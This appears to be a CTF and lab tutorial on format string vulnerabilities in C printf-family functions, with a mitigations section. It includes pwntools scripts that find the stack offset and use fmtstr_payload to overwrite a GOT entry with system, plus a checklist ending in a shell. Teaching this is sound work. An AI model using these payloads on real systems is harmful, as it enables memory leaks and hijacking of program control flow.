Format String
Format string vulnerabilities occur when a program passes attacker-controlled data directly as the format string to functions like printf, instead of using a fixed format. That is, printf(user) instead of printf("%s", user). Since format specifiers (%x, %s, %n) read and write memory, an attacker controlling the string can leak memory (read the stack, addresses, the canary) and, with %n, write to arbitrary memory.
Threat model
Section titled “Threat model”The attacker controls, fully or partially, the format string of a printf-family function (printf, fprintf, sprintf, snprintf, syslog…). The bug turns a simple print into two very powerful primitives: memory read and write. In the lab/CTF this lets you bypass ASLR and the canary, and end up redirecting the flow.
Theory: the bug
Section titled “Theory: the bug”printf(user_input); // VULNERABLE: the user controls the formatprintf("%s", user_input); // CORRECT: fixed format, the user is just an argumentprintf doesn’t know how many arguments it was passed: it trusts the format string. If you feed %x %x %x as input, it interprets them as specifiers and reads arguments that don’t exist, dumping stack values (or register values, per the ABI).
flowchart LR
A["attacker input: %p %p %p..."] --> B["printf treats it as format"]
B --> C{"specifier"}
C -->|"%p / %x"| D["LEAK: dumps stack / registers"]
C -->|"%s"| E["LEAK: string at an address"]
C -->|"%n"| F["WRITE: writes bytes printed so far"]
D --> G["canary, libc, PIE"]
F --> H["GOT / retaddr → system"]
Reading memory (leak)
Section titled “Reading memory (leak)”%p %p %p %p— dump stack values as pointers (better than%xon 64-bit).%7$p— direct positional access: the 7th value (without dragging the previous six).%s— reads the string pointed to by the value (may crash if it isn’t a valid address);%7$sreads the string pointed to by the 7th argument.
Typical uses: leak the canary (bypass the stack protector), leak libc/PIE addresses (bypass ASLR), or read the flag if it’s in memory.
from pwn import *# find the offset of your input in printf's "argument stack"for i in range(1, 20): io = process('./vuln') io.sendline(f'AAAABBBB.%{i}$p'.encode()) line = io.recvline() print(i, line) # when you see 0x4242424241414141, that i is your offset io.close()Writing memory (%n)
Section titled “Writing memory (%n)”%n writes to the pointed-to address the number of bytes printed so far. By controlling how many bytes are printed (with field width, %100c) and the target address (a pointer placed on the stack), you write arbitrary values:
%nwrites anint(4 bytes);%hnashort(2);%hhnabyte.- Technique: set the count with
%<N>cand the target with%<pos>$npointing at your pointer.
With an arbitrary write you can overwrite a GOT entry (see GOT/PLT Overwrite) to redirect a function to system, change a control variable, or clobber the return address.
Exploitation (lab): pwntools automates it
Section titled “Exploitation (lab): pwntools automates it”fmtstr_payload computes the format string that writes {address: value}, given the offset of your input. This avoids computing field widths by hand:
from pwn import *context.binary = elf = ELF('./vuln')
offset = 6 # offset found earlier# overwrite printf@got with the address of systempayload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['system']})
io = process('./vuln')io.sendline(payload)# from here, the next printf(x) runs system(x)io.interactive()Typical strategy for a format-string challenge:
- Confirm the vulnerability (feed
%p %pand see if it dumps the stack). - Find the offset of your input (
%N$puntil you see your marker). - LEAK: leak canary, libc, and/or PIE (bypass mitigations).
- WRITE:
%n/fmtstr_payloadover the GOT or the retaddr → redirect tosystem/one_gadget. - Shell.
Mitigations / Blue Team
Section titled “Mitigations / Blue Team”- Always use a fixed format:
printf("%s", x), neverprintf(x). Same forfprintf,sprintf,syslog, etc. - Compile with warnings:
-Wformat -Wformat-security(and-Werror=format-security) warns about non-constant formats. - FORTIFY_SOURCE (
-D_FORTIFY_SOURCE=2) blocks%nin format strings stored in writable memory. - Full RELRO (
-Wl,-z,relro,-z,now) makes the GOT read-only and cuts the classic%ntarget. - Code review / SAST to detect user-controlled formats.
Checklist
Section titled “Checklist”- Confirm the format string (
%p %pdumps the stack) - Find the offset of your input (
%N$p) - Leak: canary, libc, PIE (bypass mitigations)
- Arbitrary write with
%n/fmtstr_payload - Overwrite GOT (GOT/PLT Overwrite) or retaddr → system
- Chain leak + write in the same exploit
- Shell/flag locally → remote
- Blue: fixed format, RELRO, FORTIFY?